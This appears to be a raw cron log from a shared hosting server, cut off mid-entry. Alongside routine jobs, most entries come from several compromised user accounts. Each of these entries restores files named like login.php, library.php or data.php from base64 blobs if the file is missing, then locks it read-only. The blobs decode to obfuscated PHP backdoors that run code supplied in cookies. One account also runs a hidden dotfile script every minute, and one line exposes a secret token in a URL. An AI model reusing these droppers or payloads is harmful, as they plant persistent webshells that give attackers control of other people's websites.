Mar  1 07:21:02 medusa CROND[16566]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:21:02 medusa CROND[16568]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:21:02 medusa CROND[16570]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:21:02 medusa CROND[16576]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:21:02 medusa CROND[16578]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:21:02 medusa CROND[16580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:21:02 medusa CROND[16587]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:21:02 medusa CROND[16589]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:21:02 medusa CROND[16595]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:21:02 medusa CROND[16600]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:21:02 medusa CROND[16601]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:21:02 medusa CROND[16607]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:22:01 medusa CROND[20599]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:22:01 medusa CROND[20600]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:22:01 medusa CROND[20601]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:22:01 medusa CROND[20603]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:22:01 medusa CROND[20602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:22:01 medusa CROND[20604]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:22:01 medusa CROND[20605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:22:01 medusa CROND[20608]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:22:01 medusa CROND[20612]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:22:01 medusa CROND[20613]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:22:01 medusa CROND[20614]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:22:01 medusa CROND[20615]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:22:01 medusa CROND[20616]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:22:01 medusa CROND[20622]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:23:01 medusa CROND[27292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:23:01 medusa CROND[27293]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:23:01 medusa CROND[27294]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:23:01 medusa CROND[27299]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:23:01 medusa CROND[27301]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:23:01 medusa CROND[27298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:23:01 medusa CROND[27303]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:23:01 medusa CROND[27304]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 